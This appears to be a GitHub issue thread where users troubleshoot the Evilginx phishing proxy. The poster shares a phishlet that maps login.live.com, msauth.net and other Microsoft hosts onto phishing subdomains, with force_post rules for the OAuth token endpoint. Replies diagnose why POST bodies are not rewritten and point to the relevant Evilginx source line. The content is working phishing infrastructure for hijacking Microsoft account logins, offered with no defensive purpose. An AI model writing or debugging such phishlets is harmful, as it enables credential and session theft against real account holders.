POST request parameters not properly added/rewritten

[nosinformatica]

Hi, greets from Italy! I hope this is a real issue and not just me overlooking something. I am attempting to write a phishlet for proxying the Microsoft Outlook login mechanism (login.live.com) and I stuck at a JS fetch request towards the endpoint for obtaining the auth token: a POST request containing body parameters, one of those is the redirect_uri. This request is made by a JS script getting the actual phishing URL, writing it in the parameters as URL encoded string and then sending the request. Auto filters are enabled, so every URL should be rewritten to the phishing domain, but this doesn't happen for this request. This is the first thing that is strange to me, as all the other URLs are properly rewritten and all domains proxied. The second thing is that given this, I tried basically to rewrite it using force_post, but this doesn't work either. For testing purposes, I tried to force post parameters in 3 different paths with 3 different domains, guess what? It works just on the other two's. :')

This seems strange to me, so that's why I am writing here. Are those issues, or am I doing something wrong? In the former, happy to have spotted a problem, in the latter case, sorry for wasting time.

Evilginx v3.2.0 proxied through Burp

Phishlet:

proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: true, auto_filter: true}
  - {phish_sub: 'cdn', orig_sub: 'logincdn', domain: 'msauth.net', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'account', orig_sub: 'account', domain: 'live.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'microsoft', orig_sub: 'account', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'login.microsoftonline', orig_sub: 'login', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'browser.events.data', orig_sub: 'browser.events.data', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'graph', orig_sub: 'graph', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true}

force_post:
  - path: '/ppsecure/post.srf'
    search:
      - {key: 'ps', search: '.*'}
    force:
      - {key: 'NICHOLAS', value: 'YES'}
    type: 'post'
  - path: '/auth/complete-silent-signin'
    search:
      - {key: 't', search: '.*'}
      - {key: 'NAP', search: '.*'}
    force:
      - {key: 'NICHOLAS', value: 'YES'}
    type: 'post'
  - path: '/consumers/oauth2/v2.0/token'
    search:
      - {key: 'client_id', search: '.*'}
      - {key: 'scope', search: '.*'}
      - {key: 'code', search: '.*'}
    force:
      - {key: 'NICHOLAS', value: 'YES'}
    type: 'post'

[younevsky]

this can be handled outside the phishlet, edit evilginx to patch this while patching the post-body.

[nosinformatica]

Seems that the problem resides in the fact that, for whatever reason, evilginx is unable to match the URL, so it doesn't trigger the POST body patching. So it's not enough to add hardcoded patching. And it's a feature already provided from the phishlet

[matejsmycka]

yes, I would suggest adding debug prints to evilginx so you know what gone wrong.

evilginx has a lot of weird bugs and features

[nosinformatica]

oh yeas, already did. filled the code with good print statements. the problem it's not Url matching, it's not body parsing... it seems that evilginx doesn't catch some packets' bodies, but really strange, when I'll have time I'll post more code here

[stephenbradshaw]

Been looking at this myself, the code catching the force_post instructions sits inside an if statement that requires a proxy session token to be present in the request here https://github.com/kgretzky/evilginx2/blob/master/core/http_proxy.go#L658. This is the cookie thats set in response to visiting a lure. Any request thats sent without cookies, like your example screenshots, wont include this sessionid and wont even get to the point where the force_post conditions can be checked.

Im looking at doing a code fix for this now that I will do a PR for, just thinking about the best approach for this because I assume this decision has been made for a reason. I might add a boolean field to the force_post structure to allow it to apply without a proxy session in place, or maybe it can just apply regardless...